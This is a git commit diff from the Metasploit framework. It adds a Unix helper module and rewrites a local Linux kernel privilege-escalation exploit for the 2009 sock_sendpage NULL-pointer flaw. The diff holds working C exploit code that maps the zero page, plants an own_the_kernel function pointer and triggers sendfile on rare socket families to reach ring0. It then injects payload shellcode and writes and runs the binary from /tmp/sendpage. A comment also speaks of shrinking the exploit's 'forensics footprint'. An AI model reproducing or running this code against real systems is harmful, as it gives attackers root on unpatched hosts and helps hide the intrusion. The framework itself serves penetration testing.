Land #2556, msfcli rspec failures fix for #2505

bug/bundler_fix
William Vu 2013-10-21 12:52:05 -05:00
commit 0255f92e60
No known key found for this signature in database
GPG Key ID: E761DCB4C1629024
2 changed files with 124 additions and 185 deletions

View File

@ -0,0 +1,19 @@
module Msf
module Exploit::Local::Unix
include Exploit::Local::CompileC
def unix_socket_h(metasm_exe)
[
"external/source/meterpreter/source/bionic/libc/include/sys/socket.h",
].each do |fname|
cparser.parse(File.read(fname), fname)
end
end
end
end

View File

@ -7,6 +7,7 @@ require 'msf/core'
require 'rex' require 'rex'
require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux' require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'
require 'msf/core/exploit/exe' require 'msf/core/exploit/exe'
#load 'lib/msf/core/post/file.rb' #load 'lib/msf/core/post/file.rb'
@ -22,6 +23,7 @@ class Metasploit4 < Msf::Exploit::Local
include Msf::Exploit::Local::LinuxKernel include Msf::Exploit::Local::LinuxKernel
include Msf::Exploit::Local::Linux include Msf::Exploit::Local::Linux
include Msf::Exploit::Local::Unix
def initialize(info={}) def initialize(info={})
super( update_info( info, { super( update_info( info, {
@ -67,166 +69,92 @@ class Metasploit4 < Msf::Exploit::Local
'DisclosureDate' => "Aug 13 2009", 'DisclosureDate' => "Aug 13 2009",
} }
)) ))
register_options([
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
])
register_options([
OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
])
end
def executable_path
@executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
@executable_path
end end
def exploit def exploit
sc = Metasm::ELF.new(@cpu) sc = Metasm::ELF.new(@cpu)
sc.parse %Q| sc.parse %Q|
#define DEBUGGING
#define NULL ((void*)0)
#ifdef __ELF__ #ifdef __ELF__
.section ".bss" rwx .section ".bss" rwx
.section ".text" rwx .section ".text" rwx
.entrypoint
#endif #endif
call main
;push eax
call exit
| |
current_task_struct_h(sc)
if datastore["DEBUG"] # Set up the same include order as the bionic build system.
cparser.parse "#define DEBUG\n" # See external/source/meterpreter/source/bionic/libc/Jamfile
cparser.lexer.include_search_path = [
"external/source/meterpreter/source/bionic/libc/include/",
"external/source/meterpreter/source/bionic/libc/private/",
"external/source/meterpreter/source/bionic/libc/bionic/",
"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
"external/source/meterpreter/source/bionic/libc/kernel/common/",
"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
]
cparser.parse(%Q|
#define DEBUGGING
// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
#ifndef __extension__
#define __extension__
#endif
// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
// Doing #if on an undefined macro is fine in GCC, but a parse error in
// metasm.
#ifndef __STDC__
#define __STDC__ 0
#endif
#include <sys/types.h>
#include <sys/mman.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
/*
OpenBSD's strcmp from string/strcmp.c in bionic
*/
int
strcmp(const char *s1, const char *s2)
{
while (*s1 == *s2++)
if (*s1++ == 0)
return (0);
return (*(unsigned char *)s1 - *(unsigned char *)--s2);
}
|)
[
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
# This parses without any trouble, but actually calling perror() causes
# immediate segfaults.
#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",
# For some ungodly reason, NULL ends up being undefined when parsing this
# guy, which of course causes parse errors.
#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",
].each do |fname|
print_status("Parsing c file #{fname}")
cparser.parse(File.read(fname), fname)
end end
print_status("Unix socket.h")
unix_socket_h(sc)
current_task_struct_h(sc)
case target.arch.first case target.arch.first
when ARCH_X86 when ARCH_X86
print_status("syscall wrappers")
linux_x86_syscall_wrappers(sc)
main = %q^ main = %q^
struct _IO_FILE;
typedef void _IO_lock_t;
struct _IO_marker {
struct _IO_marker *_next;
struct _IO_FILE *_sbuf;
int _pos;
};
typedef unsigned int __gid_t;
typedef long __off_t;
typedef int __pid_t;
typedef
struct {
long __val[2];
} __quad_t;
typedef int __ssize_t;
typedef unsigned int __uid_t;
extern void exit(int __status);
extern int open(const char *__file, int __oflag, ...);
extern void perror(const char *__s);
extern int printf(const char *__format, ...);
typedef unsigned long size_t;
extern int socket(int __domain, int __type, int __protocol);
extern int strcmp(const char *__s1, const char *__s2);
extern int unlink(const char *__name);
typedef __quad_t __off64_t;
extern __pid_t fork(void);
extern int ftruncate(int __fd, __off_t __length);
extern __gid_t getgid(void);
extern __uid_t getuid(void);
extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);
extern int mprotect(void *__addr, size_t __len, int __prot);
typedef __off_t off_t;
typedef __ssize_t ssize_t;
struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
char _unused2[40];
};
extern ssize_t sendfile(int __out_fd, int __in_fd, off_t *__offset, size_t __count);
typedef struct _IO_FILE FILE;
extern int fclose(FILE *__stream);
extern FILE *fopen(const char *__filename, const char *__modes);
extern int fscanf(FILE *__stream, const char *__format, ...);
// Refactor missed these, added manually by the simple expedient of
// printf
#define PF_BLUETOOTH 31
#define PF_APPLETALK 5
#define PF_IPX 4
#define PF_IRDA 23
#define PF_X25 9
#define PF_AX25 3
#define PF_PPPOX 24
#define EOF -1
#define MAP_PRIVATE 0x02
#define MAP_FIXED 0x10
#define MAP_ANONYMOUS 0x20
#define MAP_ANON MAP_ANONYMOUS
#define MAP_FAILED ((void *)-1)
#define PROT_READ 0x1
#define PROT_WRITE 0x2
#define PROT_EXEC 0x4
#define O_CREAT 64
#define O_RDWR 2
#define SOCK_DGRAM 2
/*
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
*/
// Only print to stdout if we're debugging. This reduces our forensics
// footprint a touch by preventing our debugging strings from showing up
// in the binary when using the exploit for reals.
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#undef fscanf
#ifdef __x86_64__ #ifdef __x86_64__
#define PTR_FMT "0x%016x" #define PTR_FMT "0x%016x"
#else #else
@ -235,7 +163,6 @@ extern int fscanf(FILE *__stream, const char *__format, ...);
#define NULL ((void*)0) #define NULL ((void*)0)
#define DOMAINS_STOP -1 #define DOMAINS_STOP -1
const int domains[] = { const int domains[] = {
PF_BLUETOOTH, PF_BLUETOOTH,
PF_APPLETALK, PF_APPLETALK,
@ -265,7 +192,7 @@ static unsigned long get_kernel_sym(char *name)
if (f == NULL) { if (f == NULL) {
f = fopen("/proc/ksyms", "r"); f = fopen("/proc/ksyms", "r");
if (f == NULL) { if (f == NULL) {
dprintf("Unable to obtain symbol listing!\n"); printf("Unable to obtain symbol listing!\n");
return 0; return 0;
} }
} }
@ -278,7 +205,7 @@ static unsigned long get_kernel_sym(char *name)
continue; continue;
} }
if (!strcmp(name, sname)) { if (!strcmp(name, sname)) {
dprintf(" [+] Resolved %s to %p\n", name, (void *)addr); printf(" [+] Resolved %s to %p\n", name, (void *)addr);
fclose(f); fclose(f);
return addr; return addr;
} }
@ -326,11 +253,11 @@ own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long
return -1; return -1;
} }
SHELLCODE const char *shellcode =
"";
int shellcode_size = 0; int shellcode_size = 0;
int main(int argc, char **argv) { int main() {
int i = 0; int i = 0;
int d; int d;
int in_fd, out_fd; int in_fd, out_fd;
@ -338,9 +265,6 @@ int main(int argc, char **argv) {
char template[] = "/tmp/sendfile.XXXXXX"; char template[] = "/tmp/sendfile.XXXXXX";
int (*func)(); int (*func)();
dprintf("argv[0] = %s\n", argv[0]);
unlink(argv[0]);
uid = getuid(), gid = getgid(); uid = getuid(), gid = getgid();
mapped = mmap(NULL , 0x1000, mapped = mmap(NULL , 0x1000,
@ -349,7 +273,7 @@ int main(int argc, char **argv) {
0, 0 0, 0
); );
if (mapped == NULL) { if (mapped == NULL) {
dprintf("Mapped zero page!\n"); printf("Mapped zero page!\n");
} else { } else {
exit(1); exit(1);
} }
@ -361,36 +285,35 @@ int main(int argc, char **argv) {
*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel; *(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;
for (i = 0; i < 16; i++) { for (i = 0; i < 16; i++) {
dprintf("\\\\x%02x", (unsigned char)mapped[i]); printf("\\\\x%02x", (unsigned char)mapped[i]);
} }
dprintf("\n"); printf("\n");
for (d = 0; domains[d] != DOMAINS_STOP; d++) { for (d = 0; domains[d] != DOMAINS_STOP; d++) {
//dprintf("Next domain ... "); //printf("Next domain ... ");
out_fd = socket(domains[d], SOCK_DGRAM, 0); out_fd = socket(domains[d], SOCK_DGRAM, 0);
if (out_fd > 0) { if (out_fd > 0) {
dprintf("Got domain[%d]\n", d); printf("Got domain[%d]\n", d);
break; break;
} }
if (out_fd < 0) { if (out_fd < 0) {
perror("socket"); printf("out_fd: %d, Errno: %d\n", out_fd, errno);
exit(1); exit(1);
} }
} }
unlink(template); unlink(template);
// Couldn't get mkstemp to work, just use open(2) for now // Couldn't get mkstemp to work, just use open(2) for now
in_fd = open(template, O_CREAT | O_RDWR, 0777); in_fd = open(template, O_CREAT | O_RDWR, 0777);
dprintf("Opened temp file: %d\n", in_fd); printf("Opened temp file: %d\n", in_fd);
unlink(template); unlink(template);
dprintf("Calling ftruncate\n"); printf("Calling ftruncate\n");
ftruncate(in_fd, 4096); ftruncate(in_fd, 4096);
dprintf("got_ring0 addr: " PTR_FMT "\n", &got_ring0); printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
dprintf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096); printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
sendfile(out_fd, in_fd, NULL, 4096); sendfile(out_fd, in_fd, NULL, 4096);
dprintf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0); printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
dprintf("UID: %d GID: %d\n", getuid(), getgid()); printf("UID: %d GID: %d\n", getuid(), getgid());
func = mmap(NULL, 0x1000, func = mmap(NULL, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC, PROT_READ | PROT_WRITE | PROT_EXEC,
@ -399,31 +322,24 @@ int main(int argc, char **argv) {
); );
mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC); mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
// weaksauce memcpy so we don't have to #include <string.h> // weaksauce memcpy so we don't have to #include <string.h>
dprintf("Copying %d bytes of shellcode\n", shellcode_size); printf("Copying %d bytes of shellcode\n", shellcode_size);
for (i = 0; i < shellcode_size; i++) { for (i = 0; i < shellcode_size; i++) {
(char)func[i] = (char)shellcode[i]; (char)func[i] = (char)shellcode[i];
} }
dprintf("Forking before calling shellcode: 0x%p\n", func); printf("Calling shellcode: 0x%p\n", func);
//sigtrap(); //sigtrap();
if (fork()) {
exit(0);
}
func(); func();
return got_ring0; return got_ring0;
} }
^ ^
main.gsub!(/SHELLCODE/) do main.gsub!(/shellcode =/) do
# Split the payload into chunks and dump it out as a hex-escaped # split the payload into 16-byte chunks and dump it out as a
# literal C string. # hex-escaped C string
Rex::Text.to_c(payload.encoded, 64, "shellcode") %Q|shellcode =\n"#{payload.encoded.scan(/.{1,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
end end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
cparser.parse(main, "main.c") cparser.parse(main, "main.c")
#$stderr.puts cparser.factorize
#return
asm = cpu.new_ccompiler(cparser, sc).compile asm = cpu.new_ccompiler(cparser, sc).compile
@ -431,7 +347,6 @@ int main(int argc, char **argv) {
end end
sc.assemble sc.assemble
sc.c_set_default_entrypoint
begin begin
if sc.kind_of? Metasm::ELF if sc.kind_of? Metasm::ELF
@ -447,11 +362,16 @@ int main(int argc, char **argv) {
return return
end end
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)" #puts Rex::Text.to_hex_dump(foo)
rm_f executable_path File.open("payload.bin", "wb") {|fd|
write_file(executable_path, elf) fd.write elf
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}") }
print_status "Writing exploit executable (#{elf.length} bytes)"
cmd_exec("rm /tmp/sendpage")
write_file("/tmp/sendpage", elf)
output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
output.each_line { |line| print_debug line.chomp } output.each_line { |line| print_debug line.chomp }
#cmd_exec("rm /tmp/sendpage")
end end